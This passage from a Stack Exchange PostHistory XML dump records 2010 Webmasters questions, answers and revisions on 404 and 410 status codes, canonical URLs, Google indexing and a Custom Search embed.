too**.&#xD;&#xA;&#xD;&#xA;I'm just looking for some clue/suggestion I might not have thought about, or maybe just reassurance. :)&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10723" PostHistoryTypeId="1" PostId="5379" RevisionGUID="b74560e3-dad4-478b-8b12-07315dded1d8" CreationDate="2010-11-12T19:42:30.090" UserId="1429" Text="404 page needs meta description (just to make Google happier)?" />
  <row Id="10724" PostHistoryTypeId="3" PostId="5379" RevisionGUID="b74560e3-dad4-478b-8b12-07315dded1d8" CreationDate="2010-11-12T19:42:30.090" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;404&gt;&lt;meta-description&gt;" />
  <row Id="10725" PostHistoryTypeId="2" PostId="5380" RevisionGUID="2841f4d0-062b-4662-9860-3f12666a6a3c" CreationDate="2010-11-12T20:04:14.913" UserId="42" Text="I just noticed that &lt;a href=&quot;https://siteexplorer.search.yahoo.com&quot;&gt;Yahoo's Site Explorer&lt;/a&gt; will show your delicious tags and bookmark counts." />
  <row Id="10726" PostHistoryTypeId="2" PostId="5381" RevisionGUID="d06e0fa0-94de-4ad8-b7a1-3f6677303535" CreationDate="2010-11-12T20:17:16.950" UserId="2209" Text="**No.** Why worry about your PR for your 404 page. I would be more worried on making sure none of your links end up there in the first place." />
  <row Id="10727" PostHistoryTypeId="2" PostId="5382" RevisionGUID="7209f4f3-40df-4913-814c-a531a5f022c1" CreationDate="2010-11-12T21:18:25.473" UserId="3186" Text="I'm linking to Youtube videos on my mobile site.&#xD;&#xA;On iPhone, when you click on a youtube link, it begins playing using the Youtube App&#xD;&#xA;When the video is finished, the Youtube App is still open--you have to close it and reopen the browser to get back to where you were.&#xD;&#xA;&#xD;&#xA;Is there a way to make it go back to the browser when it is finished playing?" />
  <row Id="10728" PostHistoryTypeId="1" PostId="5382" RevisionGUID="7209f4f3-40df-4913-814c-a531a5f022c1" CreationDate="2010-11-12T21:18:25.473" UserId="3186" Text="Mobile site link to youtube video, close app after video finished?" />
  <row Id="10729" PostHistoryTypeId="3" PostId="5382" RevisionGUID="7209f4f3-40df-4913-814c-a531a5f022c1" CreationDate="2010-11-12T21:18:25.473" UserId="3186" Text="&lt;mobile&gt;&lt;iphone&gt;" />
  <row Id="10730" PostHistoryTypeId="2" PostId="5383" RevisionGUID="eac3fe67-9890-4a17-ae8e-179fe13cb455" CreationDate="2010-11-12T21:39:03.677" UserId="2840" Text="The most important thing for your 404 pages is the status code: it must be `404 not found`.&#xD;&#xA;&#xD;&#xA;It's maybe stupid to say that, but in dynamics applications, with an URI like this `http://my.webapp.invalid/index.php?id=4`, when `id=4` return nothing, many web developers returns a 404 message with a `200 OK` status code...&#xD;&#xA;&#xD;&#xA;An other thing: for example, if somebody try `http://my.webapp.invalid/index.php?id=toto` whereas `id` only accept integer, it's not a `404`, [but a `400 Bad Request`][1] that you must return&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.1" />
  <row Id="10731" PostHistoryTypeId="5" PostId="5383" RevisionGUID="0b577184-0cdb-4e5c-971c-460ffe3b1784" CreationDate="2010-11-12T21:44:22.910" UserId="2840" Comment="added 362 characters in body; added 9 characters in body; added 1 characters in body; deleted 1 characters in body; deleted 10 characters in body" Text="The most important thing for your 404 pages is the [header's status code][1]: it must be `404 not found`.&#xD;&#xA;&#xD;&#xA;It's maybe stupid to say that, but in dynamics applications, with an URI like this `http://my.webapp.invalid/index.php?id=4`, when `id=4` return nothing, many web developers returns a 404 message with a `200 OK` status code...&#xD;&#xA;&#xD;&#xA;An other thing: for example, if someone try `http://my.webapp.invalid/index.php?id=toto` whereas `id` only accept integer, it's not a `404`, [but a `400 Bad Request`][2] that you must return.&#xD;&#xA;&#xD;&#xA;It's handle this, for example, with the [header function in PHP][3] or the [HttpWebResponse.StatusCode Property in .Net][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&#xD;&#xA;  [2]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.1&#xD;&#xA;  [3]: http://www.php.net/manual/en/function.header.php&#xD;&#xA;  [4]: http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.statuscode(v=VS.90).aspx" />
  <row Id="10735" PostHistoryTypeId="5" PostId="5383" RevisionGUID="150eacd4-2b01-43fd-ae0f-5f5ba735e071" CreationDate="2010-11-12T21:49:56.597" UserId="2840" Comment="added 8 characters in body" Text="The most important thing for your 404 pages is the [header's status code][1]: it must be `404 not found`.&#xD;&#xA;&#xD;&#xA;It's maybe stupid to say that, but in dynamics applications, with an URI like this `http://my.webapp.invalid/index.php?id=4`, when `id=4` return nothing, many web developers returns a 404 message with a `200 OK` status code...&#xD;&#xA;&#xD;&#xA;An other thing: for example, if someone try `http://my.webapp.invalid/index.php?id=toto` whereas `id` only accept integer, it's not a `404`, [but a `400 Bad Request`][2] that you must return.&#xD;&#xA;&#xD;&#xA;It's easy to handle this, for example, with the [header function in PHP][3] or the [HttpWebResponse.StatusCode Property in .Net][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&#xD;&#xA;  [2]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.1&#xD;&#xA;  [3]: http://www.php.net/manual/en/function.header.php&#xD;&#xA;  [4]: http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.statuscode(v=VS.90).aspx" />
  <row Id="10736" PostHistoryTypeId="2" PostId="5385" RevisionGUID="b624f70f-5219-44a9-a31a-ac267922b2cb" CreationDate="2010-11-12T21:54:05.147" UserId="3" Text="(Note that I am going to use screenshots here because I suspect writing about this will change the behavior over time.)&#xD;&#xA;&#xD;&#xA;If you do a Google search for&#xD;&#xA;&#xD;&#xA;&gt; uiviewcontroller best practices&#xD;&#xA;&#xD;&#xA;either with or without the quotes, you end up with results like this:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;Note that **none of these pages resolve to the actual Stack Overflow question containing those words in the title**. They resolve to either a) sites that are mirroring our creative commons data *and* correctly pointing back to the source question without nofollow, as correctly specified by [our attribution requirements][4] or b) our own internal links to the question, but not the actual question itself. &#xD;&#xA;&#xD;&#xA;The actual page with the title ...&#xD;&#xA;&#xD;&#xA;&gt; Custom UIView and UIViewController best practices?&#xD;&#xA;&#xD;&#xA;... *does* exist at this URL ...&#xD;&#xA;&#xD;&#xA;`http://stackoverflow.com/questions/3300183/custom-uiview-and-uiviewcontroller-best-practices`&#xD;&#xA;&#xD;&#xA;... and apparently it is present in Google's index!&#xD;&#xA;&#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;But why does it *not* appear when we search for &#xD;&#xA;&#xD;&#xA;&gt; uiviewcontroller best practices&#xD;&#xA;&#xD;&#xA;? &#xD;&#xA;&#xD;&#xA;We know that&#xD;&#xA;&#xD;&#xA;- Google contains this page in its index&#xD;&#xA;&#xD;&#xA;- Our search terms match the title of the question&#xD;&#xA;&#xD;&#xA;- Stack Overflow has much higher pagerank than the other sites that are [mirroring this question under Creative Commons][4]&#xD;&#xA;&#xD;&#xA;I don't get it. What are we doing wrong here?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/6NmKH.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/PfyMz.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/CfRtP.png&#xD;&#xA;  [4]: http://blog.stackoverflow.com/2010/08/defending-attribution-required/" />
  <row Id="10737" PostHistoryTypeId="1" PostId="5385" RevisionGUID="b624f70f-5219-44a9-a31a-ac267922b2cb" CreationDate="2010-11-12T21:54:05.147" UserId="3" Text="Page appears indexed in Google but not findable for any search terms?" />
  <row Id="10738" PostHistoryTypeId="3" PostId="5385" RevisionGUID="b624f70f-5219-44a9-a31a-ac267922b2cb" CreationDate="2010-11-12T21:54:05.147" UserId="3" Text="&lt;google&gt;&lt;indexing&gt;&lt;creative-commons&gt;" />
  <row Id="10739" PostHistoryTypeId="5" PostId="5385" RevisionGUID="6f20bf85-1179-4845-98a5-f6642c0cc1bf" CreationDate="2010-11-12T21:59:40.363" UserId="3" Comment="deleted 1 characters in body" Text="(Note that I am going to use screenshots here because I suspect writing about this will change the behavior over time.)&#xD;&#xA;&#xD;&#xA;If you do a Google search for&#xD;&#xA;&#xD;&#xA;&gt; uiviewcontroller best practices&#xD;&#xA;&#xD;&#xA;either with or without the quotes, you end up with results like this:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;Note that **none of these pages resolve to the actual Stack Overflow question containing those words in the title**. They resolve to either a) sites that are mirroring our creative commons data *and* correctly pointing back to the source question without nofollow, as properly specified by [our attribution requirements][4] or b) our own internal links to the question, but not the actual question itself. &#xD;&#xA;&#xD;&#xA;The actual page with the title ...&#xD;&#xA;&#xD;&#xA;&gt; Custom UIView and UIViewController best practices?&#xD;&#xA;&#xD;&#xA;... *does* exist at this URL ...&#xD;&#xA;&#xD;&#xA;`http://stackoverflow.com/questions/3300183/custom-uiview-and-uiviewcontroller-best-practices`&#xD;&#xA;&#xD;&#xA;... and apparently it is present in Google's index!&#xD;&#xA;&#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;But why does it *not* appear when we search for &#xD;&#xA;&#xD;&#xA;&gt; uiviewcontroller best practices&#xD;&#xA;&#xD;&#xA;? &#xD;&#xA;&#xD;&#xA;We know that&#xD;&#xA;&#xD;&#xA;- Google contains this page in its index&#xD;&#xA;&#xD;&#xA;- Our search terms match the title of the question&#xD;&#xA;&#xD;&#xA;- Stack Overflow has much higher pagerank than the other sites that are [mirroring this question under Creative Commons][4]&#xD;&#xA;&#xD;&#xA;I don't get it. What are we doing wrong here?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/6NmKH.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/PfyMz.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/CfRtP.png&#xD;&#xA;  [4]: http://blog.stackoverflow.com/2010/08/defending-attribution-required/" />
  <row Id="10740" PostHistoryTypeId="2" PostId="5386" RevisionGUID="ec875ce1-e4f5-4a1d-9660-3074fe4582d8" CreationDate="2010-11-12T22:03:35.867" UserId="2293" Text="Meta information for a 404 page doesn't makes sense.&#xD;&#xA;&#xD;&#xA;Return the proper 404 header is far way more important than any other technical measure.&#xD;&#xA;&#xD;&#xA;From non-tech POV you should really consider returning useful information, instead of just an error message. Using the sitemap and internal search tools, providing some fruitful measures to your users makes much more sense (and make users happier, what makes your site better)" />
  <row Id="10741" PostHistoryTypeId="2" PostId="5387" RevisionGUID="dbf4527e-da7d-4690-8d73-95e525229feb" CreationDate="2010-11-12T16:59:35.907" UserDisplayName="fmz" Text="I have added a custom Google Search to a site and while the search box functions the results page is pathetically empty.&#xD;&#xA;&#xD;&#xA;Here is the search box code:&#xD;&#xA;&#xD;&#xA;    &lt;form action=&quot;http://www.nu-living.com/info/search_results&quot; id=&quot;cse-search-box&quot;&gt;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;cx&quot; value=&quot;017425724926122041548:jqyv4auvnls&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;cof&quot; value=&quot;FORID:9&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;ie&quot; value=&quot;UTF-8&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;q&quot; size=&quot;31&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;submit&quot; class=&quot;submit&quot; name=&quot;sa&quot; value=&quot;Search&quot; /&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;http://www.google.com/cse/brand?form=cse-search-box&amp;amp;lang=en&quot;&gt;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Here is the display code:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;cse-search-results&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var googleSearchIframeName = &quot;cse-search-results&quot;;&#xD;&#xA;    var googleSearchFormName = &quot;cse-search-box&quot;;&#xD;&#xA;    var googleSearchFrameWidth = 900;&#xD;&#xA;    var googleSearchDomain = &quot;www.google.com&quot;;&#xD;&#xA;    var googleSearchPath = &quot;/cse&quot;;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;http://www.google.com/afsonline/show_afs_search.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;The site: http://www.nu-living.com&#xD;&#xA;&#xD;&#xA;The search results page: http://www.nu-living.com/info/search_results&#xD;&#xA;&#xD;&#xA;I have done this on several other sites with success, but this one is just not cooperating. I would appreciate any assistance in getting this to work correctly" />
  <row Id="10742" PostHistoryTypeId="1" PostId="5387" RevisionGUID="dbf4527e-da7d-4690-8d73-95e525229feb" CreationDate="2010-11-12T16:59:35.907" UserDisplayName="fmz" Text="Google Search results not showing up" />
  <row Id="10743" PostHistoryTypeId="3" PostId="5387" RevisionGUID="dbf4527e-da7d-4690-8d73-95e525229feb" CreationDate="2010-11-12T16:59:35.907" UserDisplayName="fmz" Text="&lt;javascript&gt;&lt;google-search&gt;" />
  <row Id="10744" PostHistoryTypeId="17" PostId="5387" RevisionGUID="97ec8edd-9112-4f42-b9b1-34d793a355ca" CreationDate="2010-11-12T22:13:31.657" UserId="-1" Comment="from http://stackoverflow.com/questions/4167127/google-search-results-not-showing-up" Text="" />
  <row Id="10746" PostHistoryTypeId="2" PostId="5389" RevisionGUID="3e8860e1-5c73-43ca-94cc-4b191a72d146" CreationDate="2010-11-12T22:18:50.370" UserId="2010" Text="From a search engine POV you cant even have an **empty 404 error page**. The only important thing is that your server must serve the correct **status code (404 or 410)** to say that the page the client is asking for *no longer exist*.&#xD;&#xA;&#xD;&#xA;**From a user POV** having a well crafted error page is important because you don't want to let the user go away just because he, for example, followed a broken links: you want to *give the user options* to find his way on your website giving him for instance:&#xD;&#xA;&#xD;&#xA;- a search box&#xD;&#xA;- a link to the site map&#xD;&#xA;- a list of page similar to the one he was looking for ([Google itself can help you][1])&#xD;&#xA;- a simple form to contact the webmaster&#xD;&#xA;&#xD;&#xA;Since usually the content of the meta description tag **is not** visible to the user, **It's absolutely OK if you don't fill it up**.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2008/08/make-your-404-pages-more-useful.html" />
  <row Id="10747" PostHistoryTypeId="2" PostId="5390" RevisionGUID="00c0c089-14e5-4493-b908-fa0cda975429" CreationDate="2010-11-12T22:24:22.677" UserId="1522" Text="&gt; Is there any sort of downside for a URL being changeable?&#xD;&#xA;&#xD;&#xA;Depends. Let's look at your question's URL. Right now the URL is:&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/3079/should-i-use-a-file-extension-or-not`&#xD;&#xA;&#xD;&#xA;As you noted, if you change the question's title the URL will change, too, and become:&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/3079/file-extensions-are-yummy`&#xD;&#xA;&#xD;&#xA;Now, if Google has the original URL indexed **and** that original URL is no longer valid, then we have a problem, both at the SEO level and, more fundamentally, anyone who's linked to the question or bookmarked the question will not have a broken link and get a 404.&#xD;&#xA;&#xD;&#xA;However, this is not how it works on StackExchange. It seems that StackExchange looks at the question ID and ignores the title part afterward. As you noted, you can visit `http://webmasters.stackexchange.com/questions/5376` and it loads your question. You can also visit `http://webmasters.stackexchange.com/questions/5376/file-extensions-are-yummy` (or `http://webmasters.stackexchange.com/questions/5376/whatever-dude`) and it works, too!&#xD;&#xA;&#xD;&#xA;So if you change your question's title and the &quot;new&quot; URL is&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/3079/file-extensions-are-yummy`&#xD;&#xA;&#xD;&#xA;That doesn't mean your old URL won't work - it still will. As well as the new one.&#xD;&#xA;&#xD;&#xA;At this point you may be rightfully concerned that there are duplicate URLs. If there are a number of links to your original URL (`webmasters.stackexchange.com/questions/3079/should-i-use-a-file-extension-or-not`) and a number to the new one (`webmasters.stackexchange.com/questions/3079/file-extensions-are-yummy`) you are going to be splitting the page ranking in Google and other search engines. Fortunately, this can be mitigated using the `&lt;link rel=&quot;canonical&quot; /&gt;` tag.&#xD;&#xA;&#xD;&#xA;Google provides a good description of `&lt;link rel=&quot;canonical&quot; /&gt;` in their blog entry [Specify your canonical][1]. In short, you can use this tag to say to the search engine, &quot;I don't care about the URL you used to reach this page, please treat it as if you were visiting via this other URL.&quot;&#xD;&#xA;&#xD;&#xA;On StackExchange, the canonical URL is the URL of the original question title (or so I presume). If you do a view/source on this page you'll see the following tag:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://webmasters.stackexchange.com/questions/5376/seo-and-changeable-urls&quot;&gt;&#xD;&#xA;&#xD;&#xA;Likewise, if you visit `http://webmasters.stackexchange.com/questions/5376` or `http://webmasters.stackexchange.com/questions/5376/file-extensions-are-yummy` or `http://webmasters.stackexchange.com/questions/5376/whatever-dude the canonical` `&lt;link&gt;` tag stays the same. I presume its value is fixed, regardless of whether you actually change your question's title.&#xD;&#xA;&#xD;&#xA;So, long story short, if you have things setup correctly then there is no downside for a URL being changeable. But if you generate 404s or do not use the canonical tag (or some other form or URL rewriting) then there are downsides.&#xD;&#xA;&#xD;&#xA;Happy Programming!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="10748" PostHistoryTypeId="5" PostId="5390" RevisionGUID="cd726941-8422-409b-ab0a-d706201cf3a8" CreationDate="2010-11-12T22:29:57.180" UserId="1522" Comment="deleted 26 characters in body" Text="&gt; Is there any sort of downside for a URL being changeable?&#xD;&#xA;&#xD;&#xA;Depends. Let's look at your question's URL. Right now the URL is:&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/5376/seo-and-changeable-urls`&#xD;&#xA;&#xD;&#xA;As you noted, if you change the question's title the URL will change, too, and become:&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/5376/file-extensions-are-yummy`&#xD;&#xA;&#xD;&#xA;Now, if Google has the original URL indexed **and** that original URL is no longer valid, then we have a problem, both at the SEO level and, more fundamentally, anyone who's linked to the question or bookmarked the question will not have a broken link and get a 404.&#xD;&#xA;&#xD;&#xA;However, this is not how it works on StackExchange. It seems that StackExchange looks at the question ID and ignores the title part afterward. As you noted, you can visit `http://webmasters.stackexchange.com/questions/5376` and it loads your question. You can also visit `http://webmasters.stackexchange.com/questions/5376/file-extensions-are-yummy` (or `http://webmasters.stackexchange.com/questions/5376/whatever-dude`) and it works, too!&#xD;&#xA;&#xD;&#xA;So if you change your question's title and the &quot;new&quot; URL is&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/3079/file-extensions-are-yummy`&#xD;&#xA;&#xD;&#xA;That doesn't mean your old URL won't work - it still will. As well as the new one.&#xD;&#xA;&#xD;&#xA;At this point you may be rightfully concerned that there are duplicate URLs. If there are a number of links to your original URL (`webmasters.stackexchange.com/questions/5376/seo-and-changeable-urls`) and a number to the new one (`webmasters.stackexchange.com/questions/5376/file-extensions-are-yummy`) you are going to be splitting the page ranking in Google and other search engines. Fortunately, this can be mitigated using the `&lt;link rel=&quot;canonical&quot; /&gt;` tag.&#xD;&#xA;&#xD;&#xA;Google provides a good description of `&lt;link rel=&quot;canonical&quot; /&gt;` in their blog entry [Specify your canonical][1]. In short, you can use this tag to say to the search engine, &quot;I don't care about the URL you used to reach this page, please treat it as if you were visiting via this other URL.&quot;&#xD;&#xA;&#xD;&#xA;On StackExchange, the canonical URL is the URL of the original question title (or so I presume). If you do a view/source on this page you'll see the following tag:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://webmasters.stackexchange.com/questions/5376/seo-and-changeable-urls&quot;&gt;&#xD;&#xA;&#xD;&#xA;Likewise, if you visit `http://webmasters.stackexchange.com/questions/5376` or `http://webmasters.stackexchange.com/questions/5376/file-extensions-are-yummy` or `http://webmasters.stackexchange.com/questions/5376/whatever-dude the canonical` `&lt;link&gt;` tag stays the same. I presume its value is fixed, regardless of whether you actually change your question's title.&#xD;&#xA;&#xD;&#xA;So, long story short, if you have things setup correctly then there is no downside for a URL being changeable. But if you generate 404s or do not use the canonical tag (or some other form or URL rewriting) then there are downsides.&#xD;&#xA;&#xD;&#xA;Happy Programming!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="10749" PostHistoryTypeId="2" PostId="5391" RevisionGUID="0b60b20c-eebc-478e-b22b-2ed49525f3ee" CreationDate="2010-11-12T22:32:58.417" UserId="2558" Text="There's not much you can do about this.  There's a teensy bit you can do to help, but the problem is endemic to Google's index.&#xD;&#xA;&#xD;&#xA; - There isn't just one Google &quot;index;&quot; it's sharded. Pages with low PageRank appear in very few shards. Using `site:stackoverflow.com` forces your query onto a shard that has a larger fraction of your URLs indexed.  That explains the contradictory results you see: the search results are coming from different shards.&#xD;&#xA; - PageRank applies to *pages*, not domains.  Yes, really.  Since the StackOverflow home page has high PageRank, the home page can flow PageRank to other question pages, but if your home page doesn't link to this particular Question page, then the Question's effective PageRank is very low.&#xD;&#xA; - You can also flow PageRank via your XML sitemap.  According to [this paper][1]:&#xD;&#xA;&#xD;&#xA; &gt; The root of the domain is assumed to contain an implicit link to the Sitemaps ﬁle. In  addition, the Sitemaps ﬁle is assumed to contain links to all of its URLs, either uniformly weighted or weighted by priority if this ﬁeld is provided. Over this augmented&#xD;&#xA;graph, PageRank can be calculated for every URL in the Sitemaps page.&#xD;&#xA;&#xD;&#xA; - StackOverflow doesn't link to every question on the site; it only links to a tiny minority of questions for a very brief period of time.  Furthermore, it's my understanding that you guys even delete links from your sitemap, only linking to the most recent questions.  So many pages on the site receive no benefit from the home page's very high PageRank.&#xD;&#xA;&#xD;&#xA;So, you can help this problem a little bit by making sure your XML sitemap is 100% complete (not just the newest questions, but ALL of them) and by making sure that every question page can be reached by links from the home page.&#xD;&#xA;&#xD;&#xA;But even that won't always work; you can't reasonably expect *every* page on your site to have high PageRank.  In those cases, those pages will be crawled, but probably won't appear on a lot of shards, so Google won't always return them.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;  [1]: http://www2009.org/proceedings/pdf/p991.pdf &quot;Sitemaps: Above and Beyond the Crawl of Duty&quot;" />
  <row Id="10751" PostHistoryTypeId="5" PostId="5391" RevisionGUID="612ceb8c-b41c-4792-a0b6-3da0eabacf3b" CreationDate="2010-11-12T22:48:05.237" UserId="2558" Comment="added 20 characters in body" Text="There's not much you can do about this.  There's a teensy bit you can do to help, but the problem is endemic to Google's index.&#xD;&#xA;&#xD;&#xA; - There isn't just one Google &quot;index;&quot; it's sharded. Pages with low PageRank appear in very few shards. Using `site:stackoverflow.com` forces your query onto a shard that has a larger fraction of your URLs indexed.  That explains the contradictory results you see: the search results are coming from different shards.&#xD;&#xA; - PageRank applies to *pages*, not domains.  Yes, really.  Since the StackOverflow home page has high PageRank, the home page can flow PageRank to other question pages, but if your home page doesn't link to this particular Question page, then the Question's effective PageRank is very low.&#xD;&#xA; - You can also flow PageRank via your XML sitemap.  According to [this paper][1]:&#xD;&#xA;&#xD;&#xA; &gt; The root of the domain is assumed to contain an implicit link to the Sitemaps ﬁle. In  addition, the Sitemaps ﬁle is assumed to contain links to all of its URLs, either uniformly weighted or weighted by priority if this ﬁeld is provided. Over this augmented&#xD;&#xA;graph, PageRank can be calculated for every URL in the Sitemaps page.&#xD;&#xA;&#xD;&#xA; - StackOverflow doesn't link to every question on the site; it only links to a tiny minority of questions for a very brief period of time.  Furthermore, it's my understanding that you guys even delete links from your sitemap, only linking to the most recent questions.  So many pages on the site receive no benefit from the home page's very high PageRank.&#xD;&#xA;&#xD;&#xA;So, you can help this problem a little bit by making sure your XML sitemap is 100% complete (not just the newest questions, but ALL of them) and by making sure that every question page can be reached by a chain of links starting from the home page.&#xD;&#xA;&#xD;&#xA;But even that won't always work; you can't reasonably expect *every* page on your site to have high PageRank.  In those cases, those pages will be crawled, but probably won't appear on a lot of shards, so Google won't always return them.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;  [1]: http://www2009.org/proceedings/pdf/p991.pdf &quot;Sitemaps: Above and Beyond the Crawl of Duty&quot;" />
  <row Id="10752" PostHistoryTypeId="2" PostId="5392" RevisionGUID="19ed1fe5-1caf-4e81-9eb6-e982c6947c1f" CreationDate="2010-11-12T22:54:16.467" UserId="1429" Text="I know this question is someway similar to [this one][1] where they reccomend using 404, but after reading [this other one][2] where they suggest to use 301 when changing site urls (in the specific case was due to redesign/refactoring) I get a bit of confused and I hope someone could clarify for this specific example:&#xD;&#xA;&#xD;&#xA;1. Let's say I have an ecommerce site,&#xD;&#xA;&#xD;&#xA;2. let's also say the final user inserted some interesting items in the site and the ecommerce webapp created the item pages at the urls: `http://...?id=20`, `http://...?id=30` etc.&#xD;&#xA;&#xD;&#xA;3. Now let's say some of these interesting items got many external links toward them from many other sites because some people found those items very interesting and linked to them.&#xD;&#xA;&#xD;&#xA;4. After some years the final user deletes those items, so obviously the pages/urls `http://...?id=20`, `http://...?id=30`, etc. **now do not exist anymore, but still many pages on the web are linking toward them**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What should the ecommerce site do now, just show a 404 page for those items?**&#xD;&#xA;&#xD;&#xA;But, I'm confused, **wouldn't this loose all the Google PR passed by the external links to the items pages?** So isn't it better to use 301 redirect to HOME PAGE that at least passes the PR to the HOME PAGE?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3131/is-it-better-to-have-an-errordocument-404-redirect-back-to-the-homepage-or-a-stan/3135#3135&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2652/updating-redesign-website-how-to-retain-transfer-ranking" />
  <row Id="10753" PostHistoryTypeId="1" PostId="5392" RevisionGUID="19ed1fe5-1caf-4e81-9eb6-e982c6947c1f" CreationDate="2010-11-12T22:54:16.467" UserId="1429" Text="SEO: ecommerce item deleted by user, 301 rediret to HOME PAGE or 404 not found?" />
  <row Id="10754" PostHistoryTypeId="3" PostId="5392" RevisionGUID="19ed1fe5-1caf-4e81-9eb6-e982c6947c1f" CreationDate="2010-11-12T22:54:16.467" UserId="1429" Text="&lt;seo&gt;&lt;ecommerce&gt;&lt;404&gt;&lt;redirects&gt;" />
  <row Id="10756" PostHistoryTypeId="2" PostId="5393" RevisionGUID="fe7277c1-ae07-47f5-a3d3-4af842309352" CreationDate="2010-11-12T23:28:05.777" UserId="1253" Text="**Users first!!!** Good usability would be to redirect them to a page that explains that the product doesn't exist anymore and invite them to explore other related items. That way you don't lose the visitor due to a bad link or confusion and you still get to keep that PR as that page can &quot;spread&quot; the PR by linking to your home page and any other important pages you deem necessary." />
  <row Id="10757" PostHistoryTypeId="2" PostId="5394" RevisionGUID="1628d272-d178-4573-a445-bc1f61874ee6" CreationDate="2010-11-12T23:28:11.557" UserId="2840" Text="To my mind, it will make more sense [to use `410 gone` status code][1] in this case.&#xD;&#xA;&#xD;&#xA;&gt;The requested resource is no longer available at the server and no forwarding address is known. This condition is expected to be considered permanent. Clients with link editing capabilities SHOULD delete references to the Request-URI after user approval. If the server does not know, or has no facility to determine, whether or not the condition is permanent, the status code 404 (Not Found) SHOULD be used instead. This response is cacheable unless indicated otherwise.&#xD;&#xA;&#xD;&#xA;&gt;The 410 response is primarily intended to assist the task of web maintenance by notifying the recipient that the resource is intentionally unavailable and that the server owners desire that remote links to that resource be removed. Such an event is common for limited-time, promotional services and for resources belonging to individuals no longer working at the server's site. It is not necessary to mark all permanently unavailable resources as &quot;gone&quot; or to keep the mark for any length of time -- that is left to the discretion of the server owner.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.11" />
  <row Id="10758" PostHistoryTypeId="5" PostId="5394" RevisionGUID="b0cf3e83-ee11-4af5-b8ac-157d0a754d9c" CreationDate="2010-11-12T23:33:41.743" UserId="2840" Comment="added 473 characters in body; added 145 characters in body" Text="To my mind, it will make more sense [to use `410 gone` status code][1] in this case.&#xD;&#xA;&#xD;&#xA;&gt;The requested resource is no longer available at the server and no forwarding address is known. This condition is expected to be considered permanent. Clients with link editing capabilities SHOULD delete references to the Request-URI after user approval. If the server does not know, or has no facility to determine, whether or not the condition is permanent, the status code 404 (Not Found) SHOULD be used instead. This response is cacheable unless indicated otherwise.&#xD;&#xA;&#xD;&#xA;&gt;The 410 response is primarily intended to assist the task of web maintenance by notifying the recipient that the resource is intentionally unavailable and that the server owners desire that remote links to that resource be removed. Such an event is common for limited-time, promotional services and for resources belonging to individuals no longer working at the server's site. It is not necessary to mark all permanently unavailable resources as &quot;gone&quot; or to keep the mark for any length of time -- that is left to 